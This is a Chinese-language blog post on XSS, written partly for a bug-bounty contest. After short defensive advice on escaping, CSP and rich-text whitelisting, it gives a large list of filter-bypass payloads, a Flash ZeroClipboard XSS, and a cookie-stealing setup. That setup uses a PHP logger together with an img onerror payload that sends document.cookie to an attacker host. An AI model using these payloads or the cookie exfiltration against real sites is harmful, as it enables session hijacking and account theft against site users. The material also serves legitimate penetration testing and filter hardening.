
关于一些XSS防御的方法
JSON/JSONP 接口不规范导致 XSS
1 | callback 未转义导致 XSS |
解决方案:
1 | 后端通过 token 或 referer 检查防止 CSRF |
前端模版里的变量展示方式错误导致 XSS
通过预定义函数转义或者利用安全包过滤
前端代码不规范导致 DOM XSS
关键问题在于把数据插入到 DOM 的时候,没有做转义或者过滤
需要转义五个字符: < > ' " &
,漏掉其中任何一个都有可能导致问题。
富文本
1 | 解析html,得到所有的html标签和属性。对于不在白名单中的标签,直接删除或者转义。 |
后台盲打XSS
除常规方案外,后台页面要求配置禁止外部链接的CSP策略,确保即使存在漏洞,一般的外部攻击也无法利用。应用所有页面,在response的http头中,都需要附加上CSP策略
=========================
这几天在玩AFSRC的xss漏洞比赛,虽然构造出了许多绕过方法,奈何手速太慢,重复率太感人,在这开一篇,记录下日常遇到的tips
%00(%0f)截断:
适用:IE 6
1 | <scri%00pt>alert(1);</scri%00pt> |
IE11 ASP.NET Request Validator bypass:
<% style=behavior:url(: onreadystatechange=alert(1)>
mhtml:https(IE 8)
<iframe src=mhtml:https://louchaooo.github.io/life.html!html></iframe>
IE8
<comment><img src="</comment><img src=x onerror=alert(1)//">
marquee onStart marquee onStart 重复标签绕过
<marquee onStart marquee onStart="javascript:javascript:alert(1)"></marquee onStart>
IE6
<STYLE>li {list-style-image: url("javascript:alert('styleeeeeeee')");}</STYLE><UL><LI>111</br>
IE 8
"><!--[if<img src=x onerror=javascript:alert(1)//]> -->
IE 8
<!--[if]><script>javascript:alert(1)</script -->
IE 8
<div style="color:rgb(''�x:expression(alert(1))"></div>
IE 7
<s%00c%00r%00%00ip%00t>confirm(1);</s%00c%00r%00%00ip%00t>
编码绕过
"><DIV STYLE="width:\0065\0078\0070\0072\0065\0073\0073\0069\006F\006E\0028\0070\0072\006F\006D\0070\0074\0028\0031\0029\0029">
IE 7
<div style="x:expression(alert(1))">Joker</div>
还有一些,无非也是浏览器特性,就先不放这了
============一些其它的paylaod============
探针
'';!--"<XSS>=&{()}
<!--<img src="--><img src=x onerror= (alert)(/xss/)//">
<iframe src=javascript:alert('xss');height=0 width=0 /><iframe>
过滤掉on事件
[img]javascript:alert
1//http://url/onerror=//a_/img/default/usr50.gif[/img]
<link type='application/json+oembed' href='http://ip/oembed.json'>
1 | { |
============盗取cookie=============
1、xss平台
2、
a.php <?php fwrite(fopen('ali.txt','a'),$GET['c']).'\r\n'; ?>
xss payload <img src="1" onerror="var a=new Image;a.src="http://IP/a.php?c='+document.cookie+'---'+location.pathname">
===========比较短的payload==========
<iframe>(8)
"onload='(alert)(8)'//>
=============Flash Xss=============
The ZeroClipboard.swf and ZeroClipboard10.swf are vulnerable to XSS attack, example:
http://website/js/ZeroClipboard.swf#?id=\"))}catch(e){alert(/XSS/.source);}//&width=500&height=500
http://website/js/ZeroClipboard10.swf#?id=\"))}catch(e){alert(/XSS/.source);}//&width=500&height=500
http://website/js/ZeroClipboard.swf?id=\"))}catch(e){alert(/XSS/.source);}//&width=500&height=500
http://website/js/ZeroClipboard10.swf?id=\"))}catch(e){alert(/XSS/.source);}//&width=500&height=500
vulnerable code:
public function ZeroClipboard(){
….
var flashvars:Object = LoaderInfo(this.root.loaderInfo).parameters;
id = flashvars.id;
….
ExternalInterface.call(“ZeroClipboard.dispatch”, id, “load”, null);
this files get a id parameter from url and passed it to second parameter inside ExternalInterface.call without any validation(only numbers) or proper escaping\encoding).
==========html5===========
1 | <script type="text/javascript"> |
===========绕过chrome auditor的payload========<script>alert('evil')</script
===================
No space and No Slash :
<svg•onload=alert(1)>
%0C
https://markitzeroday.com/character-restrictions/xss/2017/07/26/xss-without-dots.html
跳出<input>
标签">
==========XSS in Mobile Devices==========
1 | <body onorientationchange=alert(orientation)> |
- Post title:XSS Tips 及修复方案
- Post author:langu_xyz
- Create time:2017-03-05 21:00:00
- Post link:https://blog.langu.xyz/XSS Tips 及修复方案/
- Copyright Notice:All articles in this blog are licensed under BY-NC-SA unless stating additionally.